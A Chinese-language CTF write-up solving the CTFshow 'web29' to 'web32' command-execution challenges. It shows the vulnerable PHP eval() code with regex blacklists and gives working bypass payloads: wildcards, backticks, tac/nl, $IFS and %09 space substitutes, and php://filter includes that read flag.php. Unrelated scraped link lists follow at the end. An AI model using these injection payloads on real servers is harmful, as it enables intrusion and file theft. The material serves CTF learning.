命令执行篇

web29

题目描述:命令执行,需要严格的过滤

做题过程:

1、分析源码:

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);#屏蔽Fatal error错误
if(isset($_GET['c'])){#非空判断$c = $_GET['c'];if(!preg_match("/flag/i", $c)){#正则表达,/i还不用区分flag的大小写了,这里就是对flag的过滤eval($c);}}else{highlight_file(__FILE__);
}

2、尝试解题:

思路:不考虑大小写,且过滤flag字节,尝试使用通配符f*,构造语句:

解法一: 

?c=echo system('cat f*');

语句大意为,访问所有f开头的文件。看看效果:

 解法二:

使用函数eval():将字符串当作php代码来执行。详见PHP: eval - Manual

构造语句:

?c=echo ``?><?php system('ls');

查看到存在flag.php,利用伪协议构造语句读取:

?c=echo ``?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

解码获得flag。

解法三:

官方Hint:

和解法一类似,都是对flag的过滤绕过。构造语句:

?C=echo `nl fl''ag.php;

web30

题目描述:命令执行,需要严格的过滤

做题过程:

1、查看题目

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

2、过滤了“/flag|system|php/”,可以考虑使用反引号`来绕过,构造语句:

这里一开始构建的是 `cat *`但是没有回显,正向读取不行,就反向读取;

/?c=echo `tac *`;

法二:使用“cp”指令将flag.php中的数据复制到其他可访问的文件中,构造payload:

/?c=`cp fla?.??? 1.txt`;/1.txt

干货:(1)、tac 命令就是将文件反向输出,反向读取,Linux常用参数:

-b 在行前而非行尾添加分隔标志
-r 将分隔标志视作正则表达式来解析
-s 使用指定字符串代替换行作为分隔标志
--version 显示版本信息并退出
--help 显示此帮助信息并退出

(2)、"?"是一个占位符,php语言中还有另外一个占位符":name",name表示变量名。使用方法详见我的另外一篇博客。

web31

题目描述:命令执行,需要严格的过滤

做题过程:

1、查看题目

<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

2、查看过滤规则,这一次过滤多了cat|sort|shell|\.| |\'

在Linux系统中和cat功能相似的用以下命令:vi、tac、more、less、head、tail、sed、sort等

使用方法请点此处

注意:这里还过滤了空格,替代空格的有下列方法:

$IFS$9、$IFS、${IFS}、%09、%20、<、<>

3、这里使用tac命令和%09来构造payload:

?c=echo`tac%09*`;

web32

题目描述:命令执行,需要严格的过滤

做题过程:

1、查看题目

<?phperror_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

2、查看过滤规则,这次比上次过滤多了|\`|echo|\;|\(。这里过滤了反引号`、输出指令echo、以及分号;,就不考虑使用先前的方式了,使用include包含漏洞来构造语句:

?c=include$_GET["TW"]?>&TW=php://filter/read=convert.base64-encode/resource=flag.php

3、获取的字符使用base64解码即可获取flag

CTFshow-Web入门writeup相关推荐

  1. ctfshow web入门-sql注入

    ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...

  2. [ctfshow]web入门——文件上传(web156-web163)

    [ctfshow]web入门--文件上传(web156-web163) [ctfshow]web入门--文件上传 [ctfshow]web入门--文件上传(web156-web163) web156 ...

  3. CTFShow web入门题刷题记录

    CTFShow web入门题刷题记录(信息搜集) web1 提示:开发注释未及时删除 打开网页查看源代码发现 flag:flag{2b2cf8e3-f880-41e1-a8ff-02601b3d998 ...

  4. 无字母数字rce(ctfshow web入门56)

    无字母数字rce(ctfshow web入门56) 我们根据这一题直接进入主题 //web56 <?php // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET[' ...

  5. [ctfshow web入门]常用姿势801-806

    1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...

  6. ctfshow web入门-XXE

    ctfshow web入门-XXE web373 题目描述 解题思路 web374 题目描述 解题思路 web375 题目描述 解题思路 web376 题目描述 解题思路 web377 题目描述 解题 ...

  7. ctfshow web入门 命令执行 web29~web77 web118~web124

    目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...

  8. ctfshow web入门 反序列化 前篇 254-266

    这里266后面主要是框架,以后在讲 反序列化入门可以参考我写的另一篇很详细的哦~php 反序列化总结 web254 <?phperror_reporting(0); highlight_file ...

  9. Ctfshow web入门 PHP特性篇 web89-web151 全

    web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...

  10. CTFshow——web入门——sql注入

    web入门--sql注入 基础知识点 判断是否注入 order by 判断列数 使用union select 判断回显 查询数据库 web171 web172 web173 web174 web175 ...

最新文章

  1. asp备份恢复mssql数据库的代码
  2. 优秀的服务器托管服务商的必备要素
  3. java设计模式建造_java设计模式-建造者模式
  4. android多个闹钟实现,Android编程实现PendingIntent控制多个闹钟的方法
  5. 解析/etc/inittab 文件(转)
  6. luogu_1495【题解】中国剩余定理
  7. Pytorch Tensor.unfold()的简单理解与用法
  8. Linux下防火墙开启相关端口及查看已开启端口
  9. redis 基本指令
  10. 在controller类的每个方法执行前调用某个方法_springboot:异步调用@Async
  11. [Tarjan四连]Tarjan缩点
  12. 给Matlab添加工具箱Toolbox的方法(有截图详细讲解)(R2019b)
  13. C语言写的一个贪吃蛇小游戏(windows系统)
  14. mysqli _ fetch _ assoc()函数出现警告的原因
  15. 当年也是翩翩少年,如今落得秃顶大叔,程序员秃顶算工伤吗?
  16. 嵌入式入门学习笔记1:资料收集
  17. 【每日早报】2019/11/01
  18. carto_grapher快速安装避坑指南
  19. Revit API:Element 继承体系
  20. 大数据时代的隐私保护:“被遗忘权”

热门文章

  1. MovieLens数据集处理
  2. 《算法导论》第19章-斐波那契堆 引入 19.1 斐波那契堆结构
  3. LOL历届MSI冠军2023
  4. 《深圳经济特区数字经济产业促进条例》正式公布,依法设立数据交易平台,推动数据交易模式创新
  5. EA建模工具,介绍常用的UML图
  6. 升级 GPU 服务器 cuda 驱动版本指南
  7. JZOJ4808. 【NOIP2016提高A组五校联考3】书稿
  8. RxJava之一——一次性学会使用RxJava
  9. php使用ZipArchive扩展实现文件的zip压缩与zip解压
  10. 巨型冰山惊现格陵兰,好莱坞大片场景上演